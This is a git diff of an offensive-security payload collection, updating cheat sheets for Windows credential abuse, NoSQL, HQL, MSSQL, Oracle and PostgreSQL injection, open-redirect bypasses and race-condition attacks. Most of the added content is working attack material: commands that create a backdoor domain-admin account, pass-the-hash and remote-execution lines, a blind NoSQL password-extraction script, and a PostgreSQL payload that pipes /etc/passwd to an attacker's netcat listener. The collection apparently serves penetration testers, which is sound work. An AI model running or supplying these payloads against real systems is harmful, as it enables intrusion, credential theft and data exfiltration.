@ -667,4 +976,7 @@ nmap -Pn -p445--open--max-hostgroup 3--script smb-vuln-ms17010 <ip_n
* [Pentestlab.blog - WPE-11 - Secondary Logon Handle](https://pentestlab.blog/2017/04/07/secondary-logon-handle/)
* [Pentestlab.blog - WPE-12 - Insecure Registry Permissions](https://pentestlab.blog/2017/03/31/insecure-registry-permissions/)
* [Pentestlab.blog - WPE-13 - Intel SYSRET](https://pentestlab.blog/2017/06/14/intel-sysret/)
* [Alternative methods of becoming SYSTEM - 20th November 2017 - Adam Chester @_xpn_](https://blog.xpnsec.com/becoming-system/)
* [Alternative methods of becoming SYSTEM - 20th November 2017 - Adam Chester @_xpn_](https://blog.xpnsec.com/becoming-system/)
* [Living Off The Land Binaries and Scripts (and now also Libraries)](https://github.com/LOLBAS-Project/LOLBAS)
* [Common Windows Misconfiguration: Services - 2018-09-23 - @am0nsec](https://amonsec.net/2018/09/23/Common-Windows-Misconfiguration-Services.html)
* [Local Privilege Escalation Workshop - Slides.pdf - @sagishahar](https://github.com/sagishahar/lpeworkshop/blob/master/Local%20Privilege%20Escalation%20Workshop%20-%20Slides.pdf)

View File

@ -1,11 +1,32 @@
# Windows - Using credentials
## TIP 1 - Create your credential :D
## Summary
* [TIPS](#tips)
* [TIP 1 - Create your credential](#tip-1-create-your-credential)
* [TIP 2 - Retail Credential](#tip-2-retail-credential)
* [TIP 3 - Sandbox Credential - WDAGUtilityAccount](#tip-3-sandbox-credrential-wdagutilityaccount)
* [Metasploit](#metasploit)
* [Metasploit - SMB](#metasploit-smb)
* [Metasploit - Psexec](#metasploit-psexec)
* [Crackmapexec](#crackmapexec)
* [Winexe](#winexe)
* [WMI](#wmi)
* [Psexec.py / Smbexec.py / Wmiexec.py](#psexec.py---smbexec.py---wmiexec.py)
* [PsExec - Sysinternal](#psexec-sysinternal)
* [RDP Remote Desktop Protocol](#rdp-remote-desktop-protocol)
* [Netuse](#netuse)
* [Runas](#runas)
## TIPS
### TIP 1 - Create your credential
```powershell
net user hacker hacker1234* /add
net localgroup administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add
net localgroup "Remote Desktop Users" hacker /add # RDP access
net localgroup "Backup Operators" hacker /add # Full access to files
net group "Domain Admins" hacker /add /domain
```
@ -16,7 +37,9 @@ net user /dom
net user /domain
```
## TIP 2 - Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289)
### TIP 2 - Retail Credential
Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289)
when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin
@ -25,7 +48,9 @@ Username: RetailAdmin
Password: trs10
```
## TIP - Sandbox Credential - WDAGUtilityAccount - [@never_released on Twitter](https://twitter.com/never_released/status/1081569133844676608)
### TIP 3 - Sandbox Credential - WDAGUtilityAccount
WDAGUtilityAccount - [@never_released on Twitter](https://twitter.com/never_released/status/1081569133844676608)
Starting with Windows 10 version 1709 (Fall Creators Update), it is part of Windows Defender Application Guard
@ -36,66 +61,94 @@ Password: pw123
```
## Metasploit - SMB
## Metasploit
### Metasploit - SMB
```c
use auxiliary/scanner/smb/smb_login
set SMBDomain CSCOU
set SMBUser jarrieta
set SMBPass nastyCutt3r
set SMBDomain DOMAIN
set SMBUser username
set SMBPass password
services -p 445 -R
run
creds
```
## Metasploit - Psexec
### Metasploit - Psexec
Note: the password can be replaced by a hash to execute a `pass the hash` attack.
```c
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r
set SMBUser username
set SMBPass password
set PAYLOAD windows/meterpreter/bind_tcp
run
shell
```
## Crackmapexec (Integrated to Kali)
## Crackmapexec
```python
git clone https://github.com/byt3bl33d3r/CrackMapExec.github
python crackmapexec.py 10.9.122.0/25 -d CSCOU -u jarrieta -p nastyCutt3r
python crackmapexec.py 10.9.122.5 -d CSCOU -u jarrieta -p nastyCutt3r -x whoami
```
## Crackmapexec (Pass The Hash)
```powershell
python crackmapexec.py 10.9.122.0/25 -d DOMAIN -u username -p password
python crackmapexec.py 10.10.10.10 -d DOMAIN -u username -p password -x whoami
# pass the hash
cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth
```
## Winexe (Integrated to Kali)
## Winexe
Integrated to Kali
```python
winexe -U CSCOU/jarrieta%nastyCutt3r //10.9.122.5 cmd.exe
winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe
```
## Psexec.py / Smbexec.py / Wmiexec.py (Impacket)
## WMI
```powershell
wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”
```
## Psexec.py / Smbexec.py / Wmiexec.py
from Impacket
```python
git clone https://github.com/CoreSecurity/impacket.git
python psexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
python smbexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
python wmiexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
python psexec.py DOMAIN/username:password@10.10.10.10
python smbexec.py DOMAIN/username:password@10.10.10.10
python wmiexec.py DOMAIN/username:password@10.10.10.10
# psexec.exe -s cmd
# switch admin user to NT Authority/System
```
## RDP Remote Desktop Protocol (Impacket)
## PsExec - Sysinternal
from Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)
```powershell
python rdpcheck.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
rdesktop -d CSCOU -u jarrieta -p nastyCutt3r 10.9.122.5 -g 70 -r disk:share=/home/user/myshare
PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe
PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s # get System shell
```
## RDP Remote Desktop Protocol
Abuse RDP protocol to execute commands remotely with [SharpRDP](https://github.com/0xthirteen/SharpRDP)
```powershell
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
```
Or connect remotely with `rdesktop`
```powershell
rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare
rdesktop -u username -p password -g 70 -r disk:share=/tmp/myshare 10.10.10.10
# -g : the screen will take up 70% of your actual screen size
# -r disk:share : sharing a local folder during a remote desktop session
```
@ -126,32 +179,28 @@ or with Metasploit
run getgui -u admin -p 1234
```
Then log in using xfreerdp
or with xfreerdp
```powershell
xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:10.0.0.1 # pass the hash works for Server 2012 R2 / Win 8.1+
xfreerd /u:runner /v:10.0.0.1 # password will be asked
xfreerdp -u test -p 36374BD2767773A2DD4F6B010EC5EE0D 192.168.226.129 # pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
xfreerd /u:runner /v:10.0.0.1 # password will be asked
```
## Netuse
## Netuse (Windows)
Windows only
```powershell
net use \\ordws01.cscou.lab /user:CSCOU\jarrieta nastyCutt3r
net use \\ordws01.cscou.lab /user:DOMAIN\username password
C$
```
## Runas (Windows - Kerberos auth)
## Runas
```powershell
runas /netonly /user:CSCOU\jarrieta "cmd.exe"
```
## PsExec (Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) )
```powershell
PsExec.exe \\ordws01.cscou.lab -u CSCOU\jarrieta -p nastyCutt3r cmd.exe
PsExec.exe \\ordws01.cscou.lab -u CSCOU\jarrieta -p nastyCutt3r cmd.exe -s # get System shell
runas /netonly /user:DOMAIN\username "cmd.exe"
runas /noprofil /netonly /user:DOMAIN\username cmd.exe
```
## References

View File

@ -1,9 +1,29 @@
# NoSQL injection
NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.
> NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.
## Summary
* [Tools](#tools)
* [Exploit](#exploits)
* [Authentication Bypass](#authentication-bypass)
* [Extract length information](#extract-length-information)
* [Extract data information](#extract-data-information)
* [Blind NoSQL](#blind-nosql)
* [POST with JSON body](#post-with-json-body)
* [GET](#get)
* [MongoDB Payloads](#mongodb-payloads)
* [References](#references)
## Tools
* [NoSQLmap - Automated NoSQL database enumeration and web application exploitation tool](https://github.com/codingo/NoSQLMap)
* [nosqlilab - A lab for playing with NoSQL Injection](https://github.com/digininja/nosqlilab)
## Exploit
### Authentication Bypass
Basic authentication bypass using not equal ($ne) or greater ($gt)
```json
@ -17,14 +37,14 @@ in JSON
{"username": {"$gt":""}, "password": {"$gt":""}}
```
Extract length information
### Extract length information
```json
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
```
Extract data information
### Extract data information
```json
in URL
@ -69,8 +89,8 @@ while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = payload, headers = headers, verify = False)
if 'OK' in r.text:
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
if 'OK' in r.text or r.status_code == 302:
print("Found one more char : %s" % (password+c))
password += c
```
@ -124,5 +144,5 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
* [Les NOSQL injections Classique et Blind: Never trust user input - Geluchat](https://www.dailysecurity.fr/nosql-injections-classique-blind/)
* [Testing for NoSQL injection - OWASP](https://www.owasp.org/index.php/Testing_for_NoSQL_injection)
* [cr0hn - NoSQL injection wordlists](https://github.com/cr0hn/nosqlinjection_wordlists)
* [Zanon - NoSQL Injection in MongoDB](https://zanon.io/posts/nosql-injection-in-mongodb)
* [NoSQL injection wordlists - cr0hn](https://github.com/cr0hn/nosqlinjection_wordlists)
* [NoSQL Injection in MongoDB - JUL 17, 2016 - Zanon](https://zanon.io/posts/nosql-injection-in-mongodb)

View File

@ -233,3 +233,8 @@ ja\nva\tscript\r:alert(1)
\152\141\166\141\163\143\162\151\160\164\072alert(1)
http://google.com:80#@www.whitelisteddomain.tld/
http://google.com:80?@www.whitelisteddomain.tld/
http://google.com\www.whitelisteddomain.tld
http://google.com&www.whitelisteddomain.tld
http:///////////google.com
\\google.com
http://www.whitelisteddomain.tld.google.com

View File

@ -114,6 +114,12 @@ http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com
```
Host/Split Unicode Normalization
```powershell
https://evil.c℀.example.com . ---> https://evil.ca/c.example.com
http://a.comX.b.com
```
XSS from Open URL - If it's in a JS variable
```powershell
@ -169,4 +175,6 @@ http://www.example.com/redirect.php?url=javascript:prompt(1)
* [OWASP - Unvalidated Redirects and Forwards Cheat Sheet](https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet)
* [Cujanovic - Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
* [Pentester Land - Open Redirect Cheat Sheet](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
* [Open Redirect Vulnerability - AUGUST 15, 2018 - s0cket7](https://s0cket7.com/open-redirect-vulnerability/)
* [Open Redirect Vulnerability - AUGUST 15, 2018 - s0cket7](https://s0cket7.com/open-redirect-vulnerability/)
* [Host/Split
Exploitable Antipatterns in Unicode Normalization - BlackHat US 2019](https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf)

View File

@ -4,9 +4,7 @@ A list of useful payloads and bypasses for Web Application Security.
Feel free to improve with your payloads and techniques !
I :heart: pull requests :)
You can also contribute with a beer IRL or with `buymeacoffee.com`
[![Coffee](https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png)](https://buymeacoff.ee/swissky)
You can also contribute with a :beers: IRL
Every section contains the following files, you can use the `_template_vuln` folder to create a new chapter:
@ -19,10 +17,13 @@ You might also like the `Methodology and Resources` folder :
- [Methodology and Resources](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/)
- [Active Directory Attack.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md)
- [Cloud - AWS Pentest.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md)
- [Cloud - Azure Pentest.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md)
- [Cobalt Strike - Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet.md)
- [Linux - Persistence.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md)
- [Linux - Privilege Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md)
- [Metasploit - Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet.md)
- [Methodology_and_enumeration.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Methodology_and_enumeration.md)
- [Methodology and enumeration.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Methodology%20and%20enumeration.md)
- [Network Pivoting Techniques.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md)
- [Network Discovery.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Discovery.md)
- [Reverse Shell Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
@ -33,23 +34,7 @@ You might also like the `Methodology and Resources` folder :
- [Windows - Post Exploitation Koadic.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Post%20Exploitation%20Koadic.md)
- [Windows - Privilege Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
- [Windows - Using credentials.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Using%20credentials.md)
- [CVE Exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits)
- Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py
- Apache Struts 2 CVE-2017-5638.py
- Apache Struts 2 CVE-2017-9805.py
- Apache Struts 2 CVE-2018-11776.py
- Docker API RCE.py
- Drupalgeddon2 CVE-2018-7600.rb
- Heartbleed CVE-2014-0160.py
- JBoss CVE-2015-7501.py
- Jenkins CVE-2015-8103.py
- Jenkins CVE-2016-0792.py
- Shellshock CVE-2014-6271.py
- Tomcat CVE-2017-12617.py
- WebLogic CVE-2016-3510.py
- WebLogic CVE-2017-10271.py
- WebLogic CVE-2018-2894.py
- WebSphere CVE-2015-7450.py
You want more ? Check the [Books](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/BOOKS.md) and [Youtube videos](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/YOUTUBE.md) selections.

49
Race Condition/README.md Normal file
View File

@ -0,0 +1,49 @@
# Race Condition
> Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language.
## Summary
* [Tools](#tools)
* [Turbo Intruder Examples](#turbo-intruder-examples)
* [References](#references)
## Tools
* [Turbo Intruder - a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.](https://github.com/PortSwigger/turbo-intruder)
## Turbo Intruder Examples
1. Send request to turbo intruder
2. Use this python code as a payload of the turbo intruder
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False
)
for i in range(30):
engine.queue(target.req, i)
engine.queue(target.req, target.baseInput, gate='race1')
engine.start(timeout=5)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
```
3. Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder
4. Click "Attack"
## References
* [Race Condition allows to redeem multiple times gift cards which leads to free "money" - @muon4](https://hackerone.com/reports/759247)
* [Turbo Intruder: Embracing the billion-request attack - James Kettle | 25 January 2019](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
* [Race Condition Bug In Web App: A Use Case - Mandeep Jadon](https://medium.com/@ciph3r7r0ll/race-condition-bug-in-web-app-a-use-case-21fd4df71f0e)

View File

@ -161,7 +161,7 @@ The SAML response is accepted by the service provider. Due to the vulnerability,
An XSLT can be carried out by using the `transform` element.
![http://sso-attacks.org/images/4/49/XSLT1.jpg](http://sso-attacks.org/images/4/49/XSLT1.jpg)
![http://sso-attacks.org/images/4/49/XSLT1.jpg](http://sso-attacks.org/images/4/49/XSLT1.jpg)
Picture from [http://sso-attacks.org/XSLT_Attack](http://sso-attacks.org/XSLT_Attack)
```xml

View File

@ -2,6 +2,14 @@
> Apache Cassandra is a free and open-source distributed wide column store NoSQL database management system
## Summary
* [Cassandra comment](#cassandra-comment)
* [Cassandra - Login Bypass](#cassandra---login-bypass)
* [Login Bypass 0](#login-bypass-0)
* [Login Bypass 1](#login-bypass-1)
* [References](#references)
## Cassandra comment
```sql
@ -34,4 +42,4 @@ Example from EternalNoob : [https://hack2learn.pw/cassandra/login.php](https://h
## References
* [Injection In Apache Cassandra Part I - Rodolfo - EternalNoobs](https://eternalnoobs.com/injection-in-apache-cassandra-part-i/)
* [Injection In Apache Cassandra Part I - Rodolfo - EternalNoobs](https://eternalnoobs.com/injection-in-apache-cassandra-part-i/)

View File

@ -0,0 +1,58 @@
# Hibernate Query Language Injection
> Hibernate ORM (Hibernate in short) is an object-relational mapping tool for the Java programming language. It provides a framework for mapping an object-oriented domain model to a relational database. - Wikipedia
## Summary
* [HQL Comments](#hql-comments)
* [HQL List Columns](#hql-list-columns)
* [HQL Error Based](#hql-error-based)
* [References](#references)
## HQL Comments
```sql
HQL does not support comments
```
## HQL List Columns
```sql
from BlogPosts
where title like '%'
and DOESNT_EXIST=1 and ''='%' --
and published = true
```
Using an unexisting column will an exception leaking several columns names.
```sql
org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:
select blogposts0_.id as id21_, blogposts0_.author as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159]
```
## HQL Error Based
```sql
from BlogPosts
where title like '%11'
and (select password from User where username='admin')=1
or ''='%'
and published = true
```
Error based on value casting.
```sql
Data conversion error converting "d41d8cd98f00b204e9800998ecf8427e"; SQL statement:
select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1
```
:warning: **HQL does not support UNION queries**
## References
* [HQL for pentesters - February 12, 2014 - Philippe Arteau](https://blog.h3xstream.com/2014/02/hql-for-pentesters.html)
* [How to put a comment into HQL (Hibernate Query Language)? - Thomas Bratt](https://stackoverflow.com/questions/3196975/how-to-put-a-comment-into-hql-hibernate-query-language)
* [HQL : Hyperinsane Query Language - 04/06/2015 - Renaud Dubourguais](https://www.synacktiv.com/ressources/hql2sql_sstic_2015_en.pdf)
* [ORM2Pwn: Exploiting injections in Hibernate ORM - Nov 26, 2015 - Mikhail Egorov](https://www.slideshare.net/0ang3el/orm2pwn-exploiting-injections-in-hibernate-orm)
* [HQL Injection Exploitation in MySQL - July 18, 2019 - Olga Barinova](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hql-injection-exploitation-in-mysql/)

View File

@ -117,4 +117,5 @@
' UNION select table_schema,table_name FROM information_Schema.tables;#
admin' and substring(password/text(),1,1)='7
' and substring(password/text(),1,1)='7
' or 1=1 limit 1 -- -+
'="or'

View File

@ -1,5 +1,23 @@
# MSSQL Injection
## Summary
* [MSSQL comments](#mssql-comments)
* [MSSQL version](#mssql-version)
* [MSSQL database name](#mssql-database-name)
* [MSSQL List databases](#mssql-list-databases)
* [MSSQL List columns](#mssql-list-columns)
* [MSSQL List tables](#mssql-list-tables)
* [MSSQL Extract user/password](#mssql-extract-userpassword)
* [MSSQL Union Based](#mssql-union-based)
* [MSSQL Error Based](#mssql-error-based)
* [MSSQL Blind Based](#mssql-blind-based)
* [MSSQL Time Based](#mssql-time-based)
* [MSSQL Stacked query](#mssql-stacked-query)
* [MSSQL Command execution](#mssql-command-execution)
* [MSSQL UNC path](#mssql-unc-path)
* [MSSQL Make user DBA](#mssql-make-user-dba-db-admin)
## MSSQL comments
```sql
@ -19,14 +37,14 @@ SELECT @@version
SELECT DB_NAME()
```
## MSSQL List Databases
## MSSQL List databases
```sql
SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
```
## MSSQL List Column
## MSSQL List columns
```sql
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = mytable); — for the current DB only
@ -35,7 +53,7 @@ SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master.
SELECT table_catalog, column_name FROM information_schema.columns
```
## MSSQL List Tables
## MSSQL List tables
```sql
SELECT name FROM master..sysobjects WHERE xtype = U; — use xtype = V for views
@ -45,7 +63,7 @@ SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master.
SELECT table_catalog, table_name FROM information_schema.columns
```
## MSSQL User Password
## MSSQL Extract user/password
```sql
MSSQL 2000:
@ -137,6 +155,13 @@ EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
```
To interact with the MSSQL instance.
```powershell
sqsh -S 192.168.1.X -U sa -P superPassword
python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758
```
## MSSQL UNC Path
MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the `xp_dirtree` function to list the files in our SMB share and grab the NTLMv2 hash.

File diff suppressed because one or more lines are too long

View File

@ -1,5 +1,18 @@
# Oracle SQL Injection
## Summary
* [Oracle SQL version](#oracle-sql-version)
* [Oracle SQL database name](#oracle-sql-database-name)
* [Oracle SQL List databases](#oracle-sql-list-databases)
* [Oracle SQL List columns](#oracle-sql-list-columns)
* [Oracle SQL List tables](#oracle-sql-list-tables)
* [Oracle SQL Error Based](#oracle-sql-error-based)
* [Oracle SQL Blind](#oracle-sql-blind)
* [Oracle SQL Time Based](#oracle-sql-time-based)
* [Oracle SQL Command execution](#oracle-sql-command-execution)
* [References](#references)
## Oracle SQL version
```sql
@ -21,7 +34,7 @@ SELECT SYS.DATABASE_NAME FROM DUAL;
SELECT DISTINCT owner FROM all_tables;
```
## Oracle SQL List Column
## Oracle SQL List Columns
```sql
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';

View File

@ -1,4 +1,28 @@
# POSTGRESQL
# PostgreSQL injection
## Summary
* [PostgreSQL Comments](#postgresql-comments)
* [PostgreSQL version](#postgresql-version)
* [PostgreSQL Current User](#postgresql-current-user)
* [PostgreSQL List Users](#postgresql-list-users)
* [PostgreSQL List Password Hashes](#postgresql-list-password-hashes)
* [PostgreSQL List Database Administrator Accounts](#postgresql-list-database-administrator-accounts)
* [PostgreSQL List Privileges](#postgresql-list-privileges)
* [PostgreSQL database name](#postgresql-database-name)
* [PostgreSQL List databases](#postgresql-list-database)
* [PostgreSQL List tables](#postgresql-list-tables)
* [PostgreSQL List columns](#postgresql-list-columns)
* [PostgreSQL Error Based](#postgresql-error-based)
* [PostgreSQL Blind](#postgresql-blind)
* [PostgreSQL Time Based](#postgresql-time-based)
* [PostgreSQL Stacked query](#postgresql-stacked-query)
* [PostgreSQL File Read](#postgresql-file-read)
* [PostgreSQL File Write](#postgresql-file-write)
* [PostgreSQL Command execution](#postgresql-command-execution)
* [CVE-20199193](#cve-20199193)
* [Using libc.so.6](#using-libcso6)
* [References](#references)
## PostgreSQL Comments
@ -7,13 +31,86 @@
/**/
```
## PostgreSQL Error Based - Basic
## PostgreSQL Version
```sql
SELECT version()
```
## PostgreSQL Current User
```sql
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
```
## PostgreSQL List Users
```sql
SELECT usename FROM pg_user
```
## PostgreSQL List Password Hashes
```sql
SELECT usename, passwd FROM pg_shadow
```
## PostgreSQL List Database Administrator Accounts
```sql
SELECT usename FROM pg_user WHERE usesuper IS TRUE
```
## PostgreSQL List Privileges
```sql
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
```
## PostgreSQL Database Name
```sql
SELECT current_database()
```
## PostgreSQL List Database
```sql
SELECT datname FROM pg_database
```
## PostgreSQL List Tables
```sql
SELECT table_name FROM information_schema.tables
```
## PostgreSQL List Columns
```sql
SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
```
## PostgreSQL Error Based
```sql
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=data_column+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
```
## PostgreSQL Blind
```sql
' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO
```
## PostgreSQL Time Based
@ -23,6 +120,14 @@ AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
```
## PostgreSQL Stacked Query
Use a semi-colon ";" to add another query
```sql
http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--
```
## PostgreSQL File Read
```sql
@ -47,9 +152,11 @@ SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';
```
## PostgreSQL - Command execution
## PostgreSQL Command execution
CVE-20199193, can be used from [Metasploit](https://github.com/rapid7/metasploit-framework/pull/11598) if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.
### CVE-20199193
Can be used from [Metasploit](https://github.com/rapid7/metasploit-framework/pull/11598) if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.
```SQL
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists
@ -61,7 +168,16 @@ DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table
![https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png](https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png)
### Using libc.so.6
```sql
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
```
## References
* [A Penetration Testers Guide to PostgreSQL - David Hayter](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
* [Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest - Mar 20 2019 - GreenWolf](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)
* [Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest - Mar 20 2019 - GreenWolf](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)
* [SQL Injection /webApp/oma_conf ctx parameter (viestinta.lahitapiola.fi) - December 8, 2016 - Sergey Bobrov (bobrov)](https://hackerone.com/reports/181803)
* [POSTGRESQL 9.X REMOTE COMMAND EXECUTION - 26 Oct 17 - Daniel](https://www.dionach.com/blog/postgresql-9x-remote-command-execution)

View File

@ -19,6 +19,17 @@ Attempting to manipulate SQL queries may have goals including:
* [Entry point detection](#entry-point-detection)
* [DBMS Identification](#dbms-identification)
* [SQL injection using SQLmap](#sql-injection-using-sqlmap)
* [Basic arguments for SQLmap](#basic-arguments-for-sqlmap)
* [Load a request file and use mobile user-agent](#load-a-request-file-and-use-mobile-user-agent)
